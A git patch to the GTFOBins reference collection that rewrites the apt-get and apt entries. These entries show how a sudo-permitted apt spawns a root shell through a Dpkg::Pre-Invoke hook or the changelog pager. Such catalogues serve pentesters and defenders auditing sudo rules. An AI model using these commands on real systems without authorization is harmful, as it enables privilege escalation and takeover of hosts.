From 4fdaada820fdc721f9e41fbf2f521b89c7ac5d71 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Mon, 21 Jan 2019 15:40:28 +0100 Subject: [PATCH] Fix apt* shell The Bash process substitution doesn't work (anymore?). --- _gtfobins/apt-get.md | 5 ++++- _gtfobins/apt.md | 5 ++++- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/_gtfobins/apt-get.md b/_gtfobins/apt-get.md index af5fba0..70c2f33 100644 --- a/_gtfobins/apt-get.md +++ b/_gtfobins/apt-get.md @@ -11,5 +11,8 @@ functions: sudo apt-get changelog apt !/bin/sh - description: For this to work the target package (e.g., `sl`) must not be installed. - code: sudo apt-get install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl + code: | + TF=$(mktemp) + echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF + sudo apt-get install -c $TF sl --- diff --git a/_gtfobins/apt.md b/_gtfobins/apt.md index 9e5e274..94d9df5 100644 --- a/_gtfobins/apt.md +++ b/_gtfobins/apt.md @@ -11,5 +11,8 @@ functions: sudo apt-get changelog apt !/bin/sh - description: For this to work the target package (e.g., `sl`) must not be installed. - code: sudo apt install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl + code: | + TF=$(mktemp) + echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF + sudo apt install -c $TF sl ---